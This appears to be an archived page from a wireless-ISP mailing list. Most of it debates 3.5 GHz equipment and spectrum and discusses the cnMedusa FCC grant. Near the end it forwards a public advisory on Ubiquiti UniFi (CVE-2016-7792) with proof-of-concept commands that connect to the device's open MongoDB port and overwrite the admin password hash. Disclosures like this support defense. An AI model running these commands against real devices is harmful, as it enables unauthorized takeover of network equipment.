Re: [AFMUG] where is 3,5GHz heading to ?

2016-10-03 Thread Dave


Im gonna take it from em Promise! LOL


On 10/03/2016 06:04 AM, Josh Reynolds wrote:


3.xx is in the sights of AT, Verizon, Google, etc as well.


On Oct 3, 2016 5:37 AM, "Stefan Englhardt" > wrote:


At the moment there are the following options:

TDD LTE (Baicells / Telrad / Huawei)

PMP450 (Cambium)

WiMAX (Cambium/Purewave/Telrad)

UBNT M365 (Ubiquity)

WiMAX and UBNT do not have any development/future. TDD-LTE claims
good NLOS capabilities. PMP450 claims higher sector capacity with
LOS (QAM256). LTE claims Standards compatibility while there are
not much options to select between. Baicell seem to bring LTE
costs down to the Level of PMP450 while both are way above the
level of wifi-based 5GHz systems. Baicell is in a testing/beta
stage phase. PMP450 may increase performance/NLOS capability with
cnMedusa next year. Not seen any announcements where TDD-LTE
implementations are heading to next year.

We’re still running WiMAX for NLOS as there is no clear path where
to go



--

Re: [AFMUG] where is 3,5GHz heading to ?

Your regulations seem to do a bad job regarding this. Our frequencies are 
auctioned but it is taken care of every bigger carrier cant get all spectrum of 
a band.



O2 and Eplus merge (owner is Spanish Telefonica). They have to give back some 
spectrum which is auctioned again.



On the other side Wisps have much more/better usable spectrum in US.





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Mike Hammett
Gesendet: Montag, 3. Oktober 2016 14:47
An: af@afmug.com
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



It might be different in Europe (deployments, not physics). Here one carrier 
owns nearly all of 2.5. All share the rest of the bands. The US carriers have 
only talked about 3.5 from the small cells aspect. Maybe outdoor urban, but 
definitely high density venues.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  

  Midwest Internet Exchange
   
  

  The Brothers WISP
   





  _

From: "Stefan Englhardt"  >
To: af@afmug.com 
Sent: Monday, October 3, 2016 7:43:50 AM
Subject: Re: [AFMUG] where is 3,5GHz heading to ?

When it comes to wall penetration 3.5 is not very good. Carriers here have 1800 
and 2500 for smaller cells.





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Mike Hammett
Gesendet: Montag, 3. Oktober 2016 14:16
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



Indoor, they'll use 3.5.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  

  Midwest Internet Exchange
   
  

  The Brothers WISP
   





  _

From: "Stefan Englhardt" <  s...@genias.net>
To:   af@afmug.com
Sent: Monday, October 3, 2016 7:05:16 AM
Subject: Re: [AFMUG] where is 3,5GHz heading to ?

As 3.5 GHz isn’t that good with indoor coverage I guess cellulars first fill up 
the spectrum below 3GHz and migrate from UMTS/GPRS/GSM to LTE to squeeze more 
bandwidth out of the lower frequencies. Indoor they might use wifi. Vodaphone 
and T-Mobile e.g. do wifi-calling with some handsets.





Von: Af [  mailto:af-boun...@afmug.com] Im Auftrag 
von Josh Reynolds
Gesendet: Montag, 3. Oktober 2016 13:04
An:   af@afmug.com
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



3.xx is in the sights of AT, Verizon, Google, etc as well.



On Oct 3, 2016 5:37 AM, "Stefan Englhardt"  > wrote:

At the moment there are the following options:



TDD LTE (Baicells / Telrad / Huawei)



PMP450 (Cambium)



WiMAX (Cambium/Purewave/Telrad)



UBNT M365 (Ubiquity)



WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year.



We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] cnMedusa is Legal (and shipping!)

2016-10-03 Thread Dave

Where is the TeraBit Backhaul that goes with that??
 Oh and yes youll need some Terrawave fiber too LOL

On 09/29/2016 02:00 PM, Tushar Patel wrote:

I am sure Cambium loves that

Tushar

On Sep 29, 2016, at 1:46 PM, Gino Villarini > wrote:

Am I Late?

On Thu, Sep 29, 2016 at 1:47 PM, Josh Luthman 
> wrote:

Medusa doesn't mess around.

Josh Luthman
Office: 937-552-2340 
Direct: 937-552-2343 
1100 Wayne St
Suite 1337
Troy, OH 45373

On Thu, Sep 29, 2016 at 1:45 PM, Ken Hohhof > wrote:

Why am I hearing “fully armed and operational” instead of
legal and shipping?

*From:* Af [mailto:af-boun...@afmug.com
] *On Behalf Of *Tushar Patel
*Sent:* Thursday, September 29, 2016 12:24 PM
*To:* af@afmug.com 
*Subject:* Re: [AFMUG] cnMedusa is Legal (and shipping!)

Matt,

Congratulations!

Very eager to try it out.

Tushar

On Sep 29, 2016, at 11:50 AM, Matt Mangriotis
> wrote:

The PMP 450m was issued a grant today.  This is the first
commercially available Multi-User MIMO product in 5 GHz!

https://apps.fcc.gov/oetcf/tcb/reports/Tcb731GrantForm.cfm?mode=COPY=500_code=_id=gR2HF80%2FF77q7CNU2n2zSw%3D%3D_id=QWP-50450M

Hopefully, those that have placed orders will be seeing
them very soon.

(Is Gino on holiday??? He usually takes care of these
things…)

*Matt Mangriotis*

Senior Product Manager*
Cambium Networks**
*3800 Golf Road, Suite 360

Rolling Meadows, IL 60008

www.cambiumnetworks.com *
O: *847-439-6379 

*M: *630-308-9394 *
E: *m...@cambiumnetworks.com

--

Re: [AFMUG] where is 3,5GHz heading to ?

It might be different in Europe (deployments, not physics). Here one carrier 
owns nearly all of 2.5. All share the rest of the bands. The US carriers have 
only talked about 3.5 from the small cells aspect. Maybe outdoor urban, but 
definitely high density venues. 




- 
Mike Hammett 
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 




- Original Message -

From: "Stefan Englhardt"  
To: af@afmug.com 
Sent: Monday, October 3, 2016 7:43:50 AM 
Subject: Re: [AFMUG] where is 3,5GHz heading to ? 



When it comes to wall penetration 3.5 is not very good. Carriers here have 1800 
and 2500 for smaller cells. 





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Mike Hammett 
Gesendet: Montag, 3. Oktober 2016 14:16 
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 


Indoor, they'll use 3.5. 



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From: "Stefan Englhardt" < s...@genias.net > 
To: af@afmug.com 
Sent: Monday, October 3, 2016 7:05:16 AM 
Subject: Re: [AFMUG] where is 3,5GHz heading to ? 
As 3.5 GHz isn’t that good with indoor coverage I guess cellulars first fill up 
the spectrum below 3GHz and migrate from UMTS/GPRS/GSM to LTE to squeeze more 
bandwidth out of the lower frequencies. Indoor they might use wifi. Vodaphone 
and T-Mobile e.g. do wifi-calling with some handsets. 





Von: Af [ mailto:af-boun...@afmug.com ] Im Auftrag von Josh Reynolds 
Gesendet: Montag, 3. Oktober 2016 13:04 
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 

3.xx is in the sights of AT, Verizon, Google, etc as well. 



On Oct 3, 2016 5:37 AM, "Stefan Englhardt" < s...@genias.net > wrote: 




At the moment there are the following options: 

TDD LTE (Baicells / Telrad / Huawei) 

PMP450 (Cambium) 

WiMAX (Cambium/Purewave/Telrad) 

UBNT M365 (Ubiquity) 

WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 

We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] where is 3,5GHz heading to ?

When it comes to wall penetration 3.5 is not very good. Carriers here have 1800 
and 2500 for smaller cells.





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Mike Hammett
Gesendet: Montag, 3. Oktober 2016 14:16
An: af@afmug.com
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



Indoor, they'll use 3.5.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  

  Midwest Internet Exchange
   
  

  The Brothers WISP
   





  _

From: "Stefan Englhardt" <  s...@genias.net>
To:   af@afmug.com
Sent: Monday, October 3, 2016 7:05:16 AM
Subject: Re: [AFMUG] where is 3,5GHz heading to ?

As 3.5 GHz isn’t that good with indoor coverage I guess cellulars first fill up 
the spectrum below 3GHz and migrate from UMTS/GPRS/GSM to LTE to squeeze more 
bandwidth out of the lower frequencies. Indoor they might use wifi. Vodaphone 
and T-Mobile e.g. do wifi-calling with some handsets.





Von: Af [  mailto:af-boun...@afmug.com] Im Auftrag 
von Josh Reynolds
Gesendet: Montag, 3. Oktober 2016 13:04
An:   af@afmug.com
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



3.xx is in the sights of AT, Verizon, Google, etc as well.



On Oct 3, 2016 5:37 AM, "Stefan Englhardt"  > wrote:

At the moment there are the following options:



TDD LTE (Baicells / Telrad / Huawei)



PMP450 (Cambium)



WiMAX (Cambium/Purewave/Telrad)



UBNT M365 (Ubiquity)



WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year.



We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] where is 3,5GHz heading to ?

Indoor, they'll use 3.5. 




- 
Mike Hammett 
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 




- Original Message -

From: "Stefan Englhardt"  
To: af@afmug.com 
Sent: Monday, October 3, 2016 7:05:16 AM 
Subject: Re: [AFMUG] where is 3,5GHz heading to ? 



As 3.5 GHz isn’t that good with indoor coverage I guess cellulars first fill up 
the spectrum below 3GHz and migrate from UMTS/GPRS/GSM to LTE to squeeze more 
bandwidth out of the lower frequencies. Indoor they might use wifi. Vodaphone 
and T-Mobile e.g. do wifi-calling with some handsets. 





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Josh Reynolds 
Gesendet: Montag, 3. Oktober 2016 13:04 
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 

3.xx is in the sights of AT, Verizon, Google, etc as well. 



On Oct 3, 2016 5:37 AM, "Stefan Englhardt" < s...@genias.net > wrote: 




At the moment there are the following options: 

TDD LTE (Baicells / Telrad / Huawei) 

PMP450 (Cambium) 

WiMAX (Cambium/Purewave/Telrad) 

UBNT M365 (Ubiquity) 

WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 

We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] where is 3,5GHz heading to ?

For small cell stuff, though, not really macro coverage. 




- 
Mike Hammett 
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 




- Original Message -

From: "Josh Reynolds"  
To: af@afmug.com 
Sent: Monday, October 3, 2016 6:04:13 AM 
Subject: Re: [AFMUG] where is 3,5GHz heading to ? 


3.xx is in the sights of AT, Verizon, Google, etc as well. 


On Oct 3, 2016 5:37 AM, "Stefan Englhardt" < s...@genias.net > wrote: 





At the moment there are the following options: 

TDD LTE (Baicells / Telrad / Huawei) 

PMP450 (Cambium) 

WiMAX (Cambium/Purewave/Telrad) 

UBNT M365 (Ubiquity) 

WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 

We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] where is 3,5GHz heading to ?

As 3.5 GHz isn’t that good with indoor coverage I guess cellulars first fill up 
the spectrum below 3GHz and migrate from UMTS/GPRS/GSM to LTE to squeeze more 
bandwidth out of the lower frequencies. Indoor they might use wifi. Vodaphone 
and T-Mobile e.g. do wifi-calling with some handsets.





Von: Af [mailto:af-boun...@afmug.com] Im Auftrag von Josh Reynolds
Gesendet: Montag, 3. Oktober 2016 13:04
An: af@afmug.com
Betreff: Re: [AFMUG] where is 3,5GHz heading to ?



3.xx is in the sights of AT, Verizon, Google, etc as well.



On Oct 3, 2016 5:37 AM, "Stefan Englhardt"  > wrote:

At the moment there are the following options:



TDD LTE (Baicells / Telrad / Huawei)



PMP450 (Cambium)



WiMAX (Cambium/Purewave/Telrad)



UBNT M365 (Ubiquity)



WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year.



We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] Fwd: [FD] Critical Vulnerability in Ubiquiti UniFi

I first saw this a few days ago. The port should be firewalled off, yes, but 
also they should have it bound to localhost and not a public facing port. 




- 
Mike Hammett 
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 




- Original Message -

From: "Paul Stewart"  
To: "Animal Farm"  
Sent: Monday, October 3, 2016 3:10:28 AM 
Subject: [AFMUG] Fwd: [FD] Critical Vulnerability in Ubiquiti UniFi 

Don’t have time to test this out but thought I’d pass this along …. 


My first thought is why anyone would have their ports exposed across the 
internet to allow this to happen, if it’s possibly true…. 



Paul 






Begin forwarded message: 

From: Tim Schughart < t.schugh...@prosec-networks.com > 

Subject: [FD] Critical Vulnerability in Ubiquiti UniFi 

Date: September 30, 2016 at 5:49:26 AM EDT 

To: fulldisclos...@seclists.org , bugt...@securityfocus.com , 
webapp...@securityfocus.com 

Cc: "Khanh Quoc. Pham" < k.p...@prosec-networks.com > 



Hello @all, 

together with my colleague we found two uncritical vulnerabilities you'll find 
below. 

Product: UniFi AP AC Lite 
Vendor: Ubiquiti Networks Inc. 

Internal reference: ? (Bug ID) 
Vulnerability type: Incorrect access control 
Vulnerable version: Unify 5.2.7 and possible other versions affected (not 
tested) 
Vulnerable component: Database 
Report confidence: yes 
Solution status: Not fixed by Vendor, the bug is a feature. 
Fixed versions: - 
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec 
Networks 
Solution date: - 
Public disclosure: 2016-09-30 
CVE reference: CVE-2016-7792 
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 


Vulnerability Details: 
You are able to connect to the access points database, because of an broken 
authentication (OWASP TOP10). So you are able to modify the database and read 
the data. An possible scenario you'll find in PoC section. 

Risk: 
An attacker gets access to the database and for e.g. is able to change the 
admins password, like you see in PoC below. 

PoC: 
1. Generate SHA512 Hash with e.g. 
mkpasswd -m sha-512 

2. Connect via network to database, e.g. : 
mongo --port 27117 --host target_ip 

3. Change password via command 
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow": 
"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
 
4. Login via web interface with new password 


Best regards / Mit freundlichen Grüßen 


Tim Schughart 
CEO / Geschäftsführer 

-- 
ProSec Networks e.K. 
Ellingshohl 82 
56077 Koblenz 

Website: https://www.prosec-networks.com 
E-Mail: t.schugh...@prosec.networks.com 
Mobile: +49 (0)157 7901 5826 
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Re: [AFMUG] where is 3,5GHz heading to ?

3.xx is in the sights of AT, Verizon, Google, etc as well.

On Oct 3, 2016 5:37 AM, "Stefan Englhardt"  wrote:

> At the moment there are the following options:
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> TDD LTE (Baicells / Telrad / Huawei)
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> PMP450 (Cambium)
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> WiMAX (Cambium/Purewave/Telrad)
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> UBNT M365 (Ubiquity)
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> WiMAX and UBNT do not have any development/future. TDD-LTE claims good
> NLOS capabilities. PMP450 claims higher sector capacity with LOS (QAM256).
> LTE claims Standards compatibility while there are not much options to
> select between. Baicell seem to bring LTE costs down to the Level of PMP450
> while both are way above the level of wifi-based 5GHz systems. Baicell is
> in a testing/beta stage phase. PMP450 may increase performance/NLOS
> capability with cnMedusa next year. Not seen any announcements where
> TDD-LTE implementations are heading to next year.
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> We’re still running WiMAX for NLOS as there is no clear path where to go
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>

[AFMUG] where is 3,5GHz heading to ?

At the moment there are the following options:



TDD LTE (Baicells / Telrad / Huawei)



PMP450 (Cambium)



WiMAX (Cambium/Purewave/Telrad)



UBNT M365 (Ubiquity)



WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year.



We're still running WiMAX for NLOS as there is no clear path where to go

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